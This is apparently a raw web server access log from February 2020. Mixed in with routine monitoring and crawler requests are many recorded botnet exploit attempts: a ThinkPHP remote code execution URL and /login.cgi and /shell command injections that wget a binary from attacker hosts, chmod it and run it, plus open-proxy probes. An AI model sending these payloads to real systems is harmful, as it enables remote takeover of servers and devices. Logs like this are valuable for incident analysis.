212.91.246.72 - - [12/Feb/2020:09:35:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:09:36:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.91.30.58 - - [12/Feb/2020:09:37:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:09:37:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:09:38:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.7.84.141 - - [12/Feb/2020:09:39:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:09:39:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:09:40:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:09:41:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:09:42:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
223.155.84.246 - - [12/Feb/2020:09:42:41 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 310 "-" "Hello, world"
42.119.98.227 - - [12/Feb/2020:09:43:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
128.14.133.58 - - [12/Feb/2020:09:43:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:09:43:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:09:44:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:09:45:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:09:46:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.133.20.89 - - [12/Feb/2020:09:46:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
94.60.123.74 - - [12/Feb/2020:09:46:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:09:47:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:09:48:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:09:49:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:09:50:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.114.224.102 - - [12/Feb/2020:09:50:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
81.180.86.47 - - [12/Feb/2020:09:51:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:09:51:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.70.175 - - [12/Feb/2020:09:51:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:09:52:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:09:53:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:09:54:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:09:55:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:09:56:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.178.8.198 - - [12/Feb/2020:09:57:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [12/Feb/2020:09:57:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [12/Feb/2020:09:57:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [12/Feb/2020:09:57:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [12/Feb/2020:09:57:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.178.8.198 - - [12/Feb/2020:09:57:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [12/Feb/2020:09:58:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [12/Feb/2020:09:58:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [12/Feb/2020:09:58:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.116.93.35 - - [12/Feb/2020:09:58:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [12/Feb/2020:09:58:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
95.163.255.19 - - [12/Feb/2020:09:59:18 +0100] "GET /robots.txt HTTP/1.0" 404 330 "-" "Mozilla/5.0 (compatible; Linux x86_64; Mail.RU_Bot/2.0; +http://go.mail.ru/help/robots)"
95.163.255.15 - - [12/Feb/2020:09:59:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Linux x86_64; Mail.RU_Bot/2.0; +http://go.mail.ru/help/robots)"
220.116.93.35 - - [12/Feb/2020:09:59:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [12/Feb/2020:09:59:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:10:00:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
60.191.52.254 - - [12/Feb/2020:10:01:18 +0100] "HEAD http://112.124.42.80:63435/ HTTP/1.1" 200 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:10:01:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.175.173.11 - - [12/Feb/2020:10:01:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:10:02:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.147.1.109 - - [12/Feb/2020:10:02:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
2.134.84.13 - - [12/Feb/2020:10:03:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
34.85.127.18 - - [12/Feb/2020:10:03:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:10:03:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:10:04:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:10:05:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.89.114 - - [12/Feb/2020:10:05:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:10:06:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:10:07:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:10:08:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
116.177.177.146 - - [12/Feb/2020:10:09:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:10:09:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:10:10:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:10:11:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:10:12:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:10:13:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:10:14:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:10:15:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.134.170 - - [12/Feb/2020:10:15:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
118.69.34.216 - - [12/Feb/2020:10:16:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:10:16:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.236.76.95 - - [12/Feb/2020:10:17:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:10:17:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.112.50.72 - - [12/Feb/2020:10:17:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
123.163.114.77 - - [12/Feb/2020:10:18:16 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.01715179 Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36 OPR/55.0.2994.44"
219.140.116.7 - - [12/Feb/2020:10:18:19 +0100] "GET http://www.minghui.org/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
221.13.12.141 - - [12/Feb/2020:10:18:21 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
124.88.112.141 - - [12/Feb/2020:10:18:21 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
123.160.235.42 - - [12/Feb/2020:10:18:24 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
175.152.111.126 - - [12/Feb/2020:10:18:24 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
112.80.138.248 - - [12/Feb/2020:10:18:27 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
36.248.89.199 - - [12/Feb/2020:10:18:28 +0100] "GET http://boxun.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
124.88.112.198 - - [12/Feb/2020:10:18:28 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
58.248.201.130 - - [12/Feb/2020:10:18:28 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
212.91.246.72 - - [12/Feb/2020:10:18:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:10:19:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
203.232.36.66 - - [12/Feb/2020:10:20:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
202.102.90.229 - - [12/Feb/2020:10:20:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
95.58.245.241 - - [12/Feb/2020:10:20:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:10:20:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:10:21:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:10:22:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.41.209.79 - - [12/Feb/2020:10:23:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [12/Feb/2020:10:23:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.165 - - [12/Feb/2020:10:24:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:10:24:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:10:25:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
213.207.179.159 - - [12/Feb/2020:10:26:25 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
103.47.175.2 - - [12/Feb/2020:10:26:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:10:26:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:10:27:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.132.36.53 - - [12/Feb/2020:10:28:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:10:28:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:10:29:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:10:30:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.32.180 - - [12/Feb/2020:10:31:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:10:31:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:10:32:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.225.114.210 - - [12/Feb/2020:10:33:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [12/Feb/2020:10:33:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:10:34:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.86.237.80 - - [12/Feb/2020:10:35:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:10:35:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:10:36:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:10:37:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:10:38:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.199.45 - - [12/Feb/2020:10:38:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:10:39:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:10:40:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.124.162.73 - - [12/Feb/2020:10:40:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:10:41:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.123.233.244 - - [12/Feb/2020:10:41:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:10:42:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
